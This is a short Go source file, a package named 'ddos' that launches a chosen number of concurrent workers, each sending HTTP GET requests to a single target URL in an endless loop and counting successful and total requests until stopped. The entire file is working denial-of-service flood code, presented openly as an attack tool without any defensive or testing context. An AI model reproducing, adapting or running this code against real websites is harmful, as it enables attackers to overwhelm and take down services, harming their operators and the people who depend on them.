package ddos
import (
"fmt"
"io"
"io/ioutil"
"net/http"
"net/url"
"runtime"
"sync/atomic"
)
type DDoS struct {
url string
stop *chan bool
amountWorkers int
successRequest int64
amountRequests int64
}
func New(URL string, workers int) (*DDoS, error) {
if workers < 1 {
return nil, fmt.Errorf("Amount of workers cannot be less 1")
}
u, err := url.Parse(URL)
if err != nil || len(u.Host) == 0 {
return nil, fmt.Errorf("Undefined host or error = %v", err)
}
s := make(chan bool)
return &DDoS{
url: URL,
stop: &s,
amountWorkers: workers,
}, nil
}
func (d *DDoS) Run() {
for i := 0; i < d.amountWorkers; i++ {
go func() {
for {
select {
case <-(*d.stop):
return
default:
resp, err := http.Get(d.url)
atomic.AddInt64(&d.amountRequests, 1)
if err == nil {
atomic.AddInt64(&d.successRequest, 1)
_, _ = io.Copy(ioutil.Discard, resp.Body)
_ = resp.Body.Close()
}
}
runtime.Gosched()
}
}()
}
}
func (d *DDoS) Stop() {
for i := 0; i < d.amountWorkers; i++ {
(*d.stop) <- true
}
close(*d.stop)
}
func (d DDoS) Result() (successRequest, amountRequests int64) {
return d.successRequest, d.amountRequests
}